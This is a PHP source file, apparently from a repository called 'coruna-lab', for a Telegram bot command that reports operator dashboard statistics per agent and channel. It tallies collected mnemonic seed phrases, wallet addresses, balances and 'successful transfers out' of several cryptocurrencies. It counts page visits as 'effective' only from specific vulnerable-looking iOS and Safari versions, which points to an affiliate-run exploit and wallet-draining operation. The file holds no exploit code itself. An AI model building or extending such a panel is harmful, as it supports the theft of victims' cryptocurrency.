Files
coruna-lab/app/Telegram/Handlers/DataCommand.php
T
2026-09-14 01:09:01 +08:00

142 lines
4.6 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
namespace App\Telegram\Handlers;
use App\Models\Channel;
use App\Services\DashboardStatsService;
use App\Telegram\TelegramBotContext;
use SergiX44\Nutgram\Nutgram;
class DataCommand
{
public function __construct(
private readonly DashboardStatsService $stats,
private readonly TelegramBotContext $context,
) {}
public function __invoke(Nutgram $bot, ?string $args = null): void
{
$parts = preg_split('/\s+/', trim((string) $args)) ?: [];
$parts = array_values(array_filter($parts, fn ($p) => $p !== ''));
$days = null;
$channelId = '';
if (isset($parts[0]) && in_array($parts[0], ['1', '7', '30'], true)) {
$days = $parts[0];
$channelId = $parts[1] ?? '';
} elseif (isset($parts[0])) {
$parsed = $this->parseChannelId($parts[0]);
if ($parsed === null) {
$bot->sendMessage(
"Usage: /data [1|7|30] [channelId]\n"
."Omit days for today. Omit channelId for all channels.\n"
."channelId: 旧版 32 位 hex,或新版 X.Y.ZZ(如 0.0.01)"
);
return;
}
$channelId = $parsed;
}
if ($channelId !== '') {
$parsed = $this->parseChannelId($channelId);
if ($parsed === null) {
$bot->sendMessage('channelId 无效(需 32 位 hex 或新版 X.Y.ZZ)');
return;
}
$channelId = $parsed;
}
$agent = $this->context->agent();
if ($agent !== null && $channelId !== '') {
$owned = Channel::query()
->where('user_id', $agent->id)
->where('channel_id', $channelId)
->exists();
if (! $owned) {
$bot->sendMessage('⛔ 无权查看该渠道');
return;
}
}
try {
$range = $this->stats->rangeFromDays($days);
} catch (\InvalidArgumentException $e) {
$bot->sendMessage($e->getMessage());
return;
}
$data = $this->stats->collect([
'range' => $range,
'channel_id' => $channelId,
'channel_exact' => $channelId !== '',
'agent' => $agent,
]);
$channelLabel = $this->channelLabel($channelId, $agent !== null);
$lines = [
'📊 仪表盘统计',
'区间: '.$data['from'].' ~ '.$data['to'],
'渠道: '.$channelLabel,
'',
'📦 设备与资产(区间内)',
'总设备: '.$data['wallet_count'].' / '.$data['total'].' (有钱包/全部)',
'新增设备: '.$data['new_count'],
'活跃设备: '.$data['active_count'],
'助记词: '.$data['mnemonic_count'],
'钱包地址: '.$data['address_count'],
'',
'💰 总余额 / 交易额(新增地址 · 成功转出 '.$data['transfer_count'].' 笔)',
'• USDT '.$data['balances']['usdt'].' / '.$data['transfers']['usdt'],
'• TRX '.$data['balances']['trx'].' / '.$data['transfers']['trx'],
'• BTC '.$data['balances']['btc'].' / '.$data['transfers']['btc'],
'• ETH '.$data['balances']['eth'].' / '.$data['transfers']['eth'],
'• BNB '.$data['balances']['bnb'],
'',
'🌐 页面访问',
'页面 PV: '.$data['effective_pv'].' / '.$data['pv'].' (有效/全部)',
'页面 UV: '.$data['effective_uv'].' / '.$data['uv'].' (有效/全部)',
'有效口径: iOS 13–17.2.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 + Safari,不含 15.8.8 / 16.7.10+',
];
$bot->sendMessage(implode("\n", $lines));
}
/**
* Accept old 32-hex or new X.Y.ZZ channel ids.
*/
private function parseChannelId(string $raw): ?string
{
$raw = trim($raw);
if ($raw === '') {
return '';
}
if (preg_match('/^[0-9a-f]{32}$/i', $raw)) {
return strtolower($raw);
}
return Channel::normalizeNewChannelId($raw);
}
private function channelLabel(string $channelId, bool $agentScoped): string
{
if ($channelId === '') {
return $agentScoped ? '本代理全部' : '全部';
}
$row = Channel::query()->where('channel_id', $channelId)->first(['channel_id', 'remark']);
if ($row === null) {
return $channelId;
}
$remark = trim((string) ($row->remark ?? ''));
return $remark !== '' ? $channelId.'/'.$remark : $channelId;
}
}